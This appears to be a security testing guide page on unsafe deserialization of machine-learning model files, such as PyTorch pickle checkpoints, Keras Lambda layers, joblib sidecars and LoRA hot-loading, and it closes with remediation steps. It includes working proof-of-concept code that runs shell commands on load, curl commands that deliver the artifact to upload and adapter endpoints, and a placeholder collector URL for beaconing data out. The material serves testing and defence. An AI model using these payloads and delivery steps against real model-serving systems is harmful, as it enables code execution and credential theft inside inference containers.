Unsafe Model Artifact Deserialization
Description
Model files are not inert data. Pickle formats (.bin, .pt, .ckpt, .pkl, .joblib) rebuild arbitrary objects through reduce, Keras Lambda layers carry marshalled Python, and MLflow pyfunc models embed cloudpickled classes. The weakness lives in the loading path: torch.load, transformers from_pretrained, mlflow.pyfunc.load_model, an “upload your own model” endpoint, or a LoRA hot-load call.
Execution happens inside the inference or training container, which usually holds the cloud role, the vector store credentials and the registry token. It is easy to miss because the artifact loads normally and the payload runs before the first token. Poisoned weights that misbehave without executing code belong to LLM05, and swapping which artifact loads belongs to the Model Registry Provenance Bypass page.
Examples
Reduce-based canary in a PyTorch checkpoint
Build an artifact whose only payload writes a marker file, then load it the way the target does.
# lab only: the payload writes a marker file and nothing else
import os, torch
class Canary:
def __reduce__(self):
return (os.system, ("echo CANARY-1234 > /tmp/poc.txt",))
torch.save({"state_dict": Canary()}, "pytorch_model.bin")
python -c "import torch; torch.load('pytorch_model.bin', weights_only=False)"
ls -l /tmp/poc.txt
PyTorch 2.6 flipped the torch.load default to weights_only=True, so the finding is code passing weights_only=False, a torch pinned below 2.6 (where weights_only=True was itself bypassable, CVE-2025-32434), or a sidecar read with joblib.load or pickle.load, which have no such guard. The canary file in the container is the proof. Note that execution happens during unpickling, so a payload can run even when the load then fails with an error.
Keras Lambda layer and joblib sidecar
Keras 3 blocks Lambda deserialization under safe_mode=True, but the legacy HDF5 path ignores it (CVE-2025-9905) and a config ordering bug bypassed it before 3.11.0 (CVE-2025-9906).
import keras
def canary(x):
import os; os.system("echo CANARY-1234 > /tmp/poc.txt")
return x
m = keras.Sequential([keras.layers.Input(shape=(4,)), keras.layers.Lambda(canary)])
m.save("model.h5") # legacy format, then keras.models.load_model("model.h5")
Repeat for preprocessing sidecars: joblib.dump(Canary(), “preprocessor.joblib”) hits the same reduce path when a pyfunc wrapper loads it.
Delivery through the real load path
A local torch.load only proves the format is dangerous. Push the artifact through the target’s own ingest, or hot-load an adapter directory containing adapter_model.bin instead of safetensors.
# substitute the target's own upload route; there is no standard path for this
curl -s -X POST http://mlserve.lab.internal:8000/<MODEL_UPLOAD_PATH> \
-H "Authorization: Bearer $LAB_TOKEN" \
-F "file=@pytorch_model.bin" -F "name=poc-model"
# vLLM runtime adapter load, documented endpoint and body
curl -s -X POST http://vllm.lab.internal:8000/v1/load_lora_adapter \
-H 'Content-Type: application/json' \
-d '{"lora_name":"poc-adapter","lora_path":"/mnt/adapters/poc-adapter"}'
The second call only works when the server runs with VLLM_ALLOW_RUNTIME_LORA_UPDATING enabled, itself a finding. Confirm by exec-ing into the pod for /tmp/poc.txt, or point the canary at a placeholder collector such as https://collector.example.com/?d=CANARY-1234 where the container has egress. Also check for modeling_*.py loaded with trust_remote_code=True, and ONNX sessions calling register_custom_ops_library on an uploader-controlled path.
Remediation
- Ban executable artifact formats
- Accept safetensors or GGUF only; reject .bin, .pt, .ckpt, .pkl, .joblib and legacy .h5 at the gateway by magic bytes, not extension.
- Convert legacy checkpoints once, in an isolated job, and publish only the output.
- Keep parsers patched as well: a non-executing format still has a native parser, as the GGUF heap overflows in llama.cpp showed (CVE-2024-23496).
- Keep loader defaults safe
- Never pass weights_only=False or safe_mode=False, never call keras.config.enable_unsafe_deserialization, and keep trust_remote_code off.
- Scan before load, but do not rely on it
- Run picklescan (0.0.31 or later, which fixed extension-mismatch bypasses) or modelscan in CI and treat a clean result as no evidence.
- Sandbox the load step
- Load with no ambient cloud credentials, a read-only filesystem and no outbound network.
- Disable runtime hot-load in production
- Leave VLLM_ALLOW_RUNTIME_LORA_UPDATING unset and keep upload endpoints off production routes.